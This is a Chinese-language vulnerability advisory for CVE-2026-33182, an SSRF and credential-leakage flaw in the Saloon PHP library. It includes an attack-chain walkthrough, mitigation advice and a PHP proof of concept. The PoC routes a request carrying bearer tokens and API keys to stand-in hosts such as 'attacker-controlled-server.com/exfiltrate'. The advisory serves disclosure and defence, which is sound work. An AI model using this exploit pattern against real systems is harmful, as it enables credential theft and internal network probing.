IPBUF安全漏洞报告
English
CVE-2026-33182 CVSS 7.5 高危

Saloon库SSRF及凭证泄露漏洞 (CVE-2026-33182)

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33182
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Saloon (PHP Library)

相关标签

SSRFSaloonPHPCredential LeakageCWE-918URL Redirection

漏洞概述

Saloon是一个用于构建API集成和SDK的PHP库。在4.0.0版本之前,该库在构建请求URL时存在逻辑缺陷。当请求端点(endpoint)被设置为绝对URL时,代码会直接使用该URL并忽略连接器的base URL。如果端点参数可被用户输入控制(如回调地址),这将导致服务器向攻击者控制的主机发起请求,并携带认证头、Cookies或令牌,从而引发SSRF攻击或敏感凭证泄露。

技术细节

该漏洞的核心在于URL拼接处理函数缺乏对绝对URL的安全校验。在旧版本中,Saloon在合并Connector的Base URL和Request Endpoint时,未检测Endpoint是否包含完整的协议头(如http://或https://)。攻击者可以利用应用程序中的开放重定向或参数注入功能,将原本指向内部API的相对路径替换为指向恶意服务器的绝对URL。由于Saloon会自动附加Connector中配置的认证信息(如API Key或Bearer Token),受害服务器在处理该请求时,会将这些敏感凭证明文发送给攻击者控制的外部节点,导致凭证失窃及内网SSRF风险。

攻击链分析

STEP 1
1. 识别注入点
攻击者扫描使用Saloon库的应用程序,寻找可以控制请求端点(endpoint)的输入参数,例如回调URL(callback_url)、重定向URI或代理请求参数。
STEP 2
2. 构造恶意Payload
攻击者构造一个包含绝对URL的Payload,例如 'http://attacker-controlled.com/steal',替代原本预期的相对路径(如 '/profile')。
STEP 3
3. 触发URL拼接逻辑
应用程序使用用户提供的Payload创建Saloon请求。由于漏洞存在,Saloon检测到端点为绝对URL,直接将其作为目标地址,忽略了Connector中配置的Base URL。
STEP 4
4. 发送带凭证的请求
应用程序向攻击者控制的服务器发起HTTP请求。该请求自动附带了Connector中预设的所有敏感认证信息(如API Token、Session Cookies)。
STEP 5
5. 窃取数据与SSRF
攻击者的服务器接收并记录请求日志,获取窃取的凭证。利用服务器身份,攻击者还可进一步探测或攻击内网服务(SSRF)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php // PoC for CVE-2026-33182: Saloon SSRF and Credential Leakage // This demonstrates how an absolute URL in the endpoint bypasses the base URL // and leaks authentication headers to an external attacker-controlled server. require_once 'vendor/autoload.php'; use Saloon\Http\Connector; use Saloon\Http\Request; use Saloon\Enums\Method; class ApiConnector extends Connector { // Legitimate internal API base URL public function resolveBaseUrl(): string { return 'https://api.internal-company.com/v1/'; } // Default authentication header (e.g., API Key) protected function defaultHeaders(): array { return [ 'Authorization' => 'Bearer SECRET_INTERNAL_TOKEN_123', 'X-API-Key' => 'super_secret_key' ]; } } class UserRequest extends Request { protected Method $method = Method::GET; // The endpoint is usually a relative path like 'users' // However, if this is controlled by user input (e.g., callback_url), // an attacker can supply an absolute URL. public function __construct(public string $endpoint) {} public function resolveEndpoint(): string { return $this->endpoint; } } // Exploit Scenario: // Attacker supplies a malicious absolute URL via a parameter (e.g., ?callback=http://evil.com/log) $maliciousEndpoint = 'http://attacker-controlled-server.com/exfiltrate'; $connector = new ApiConnector(); $request = new UserRequest($maliciousEndpoint); // In vulnerable versions (< 4.0.0): // The request is sent to 'http://attacker-controlled-server.com/exfiltrate' // The headers 'Authorization: Bearer SECRET_INTERNAL_TOKEN_123' are included. // The base URL 'https://api.internal-company.com/v1/' is ignored. $response = $connector->send($request); ?>

影响范围

Saloon < 4.0.0

防御指南

临时缓解措施
如果不能立即升级,应在业务逻辑层面对所有传入的endpoint参数进行强校验,使用正则表达式强制匹配相对路径格式(如/^\//),阻断包含协议头的绝对URL。同时,监控API网关或服务器日志,检查是否存在发往未知外部域名的异常请求,以确认是否已被攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表